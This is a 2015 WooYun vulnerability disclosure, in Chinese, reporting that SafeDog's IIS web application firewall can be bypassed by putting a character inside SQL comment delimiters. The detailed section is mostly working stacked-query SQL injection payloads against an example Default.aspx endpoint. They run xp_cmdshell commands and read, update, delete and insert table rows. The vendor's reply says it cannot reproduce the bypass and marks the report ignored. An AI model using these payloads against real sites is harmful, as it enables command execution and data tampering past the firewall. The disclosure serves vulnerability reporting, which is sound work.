漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0141762
漏洞标题：最新版网站安全狗（IIS版） 防护规则绕过可以执行任意SQL
相关厂商：安全狗
漏洞作者： 梦想天空
提交时间：2015-09-17 16:05
修复时间：2015-12-17 08:58
公开时间：2015-12-17 08:58
漏洞类型：设计错误/逻辑缺陷
危害等级：中
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-09-17： 细节已通知厂商并且等待厂商处理中
2015-09-18： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-11-12： 细节向核心白帽子及相关领域专家公开
2015-11-22： 细节向普通白帽子公开
2015-12-02： 细节向实习白帽子公开
2015-12-17： 细节向公众公开
简要描述：
防护规则绕过可以执行任意SQL，你懂得。。。
详细说明：
存在SQL注入的站点这个场景还是比较多的,代码里面没有任何拦截处理
我们构造注入sql，这种情况安全狗会拦截。
/Default.aspx?id=481942;DECLARE/**/@s VARCHAR(2000);SET @s ='xp_cmdshell ''dir''';EXEC(@s)
下面是见证奇迹的时刻了！只要在/**/中间加入任意字符，比如/*1*/，狗狗就乖了。。。
/Default.aspx?id=481942;DECLARE/*1*/@s VARCHAR(2000);SET @s ='xp_cmdshell ''dir''';EXEC(@s)
既然这样不拦截，那增删查改就都可以了。
--执行命令
/Default.aspx?id=481942;DECLARE/*1*/@s VARCHAR(2000);SET @s ='xp_cmdshell ''dir''';EXEC(@s)
--查询
/Default.aspx?id=481942;DECLARE/*2*/@s VARCHAR(2000);SET @s =replace('select * fxxxm Online_tj','xxx','ro');EXEC(@s)--
--修改
/Default.aspx?id=481942;DECLARE/*2*/@s VARCHAR(2000);SET @s ='update Online_tj xxxt logtime=1 where id=1';EXEC(@s)--
--删除
/Default.aspx?id=481942;DECLARE/*2*/@s VARCHAR(2000);SET @s =replace('delete Online_tj where id=1','xxx','se');EXEC(@s)--
--新增
/Default.aspx?id=481942;DECLARE/*2*/@s VARCHAR(2000);SET @s ='insert Online_tj values(''11111'')';EXEC(@s)--
漏洞证明：
修复方案：
这个你们比我专业！
版权声明：转载请注明来源 梦想天空@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-12-17 08:58
厂商回复：
您好，如果您指的是最新版的话，这边测试不通过，如有任何疑问，请私信进一步交流。
各位白帽子，提交漏洞的时候，最好说明是哪个版本。
还有，可以到我们官网测试一下payload，不管是aspx、asp、php还是啥，直接放到域名后面，没有被拦截，那才是过"狗"了...
最新状态：
暂无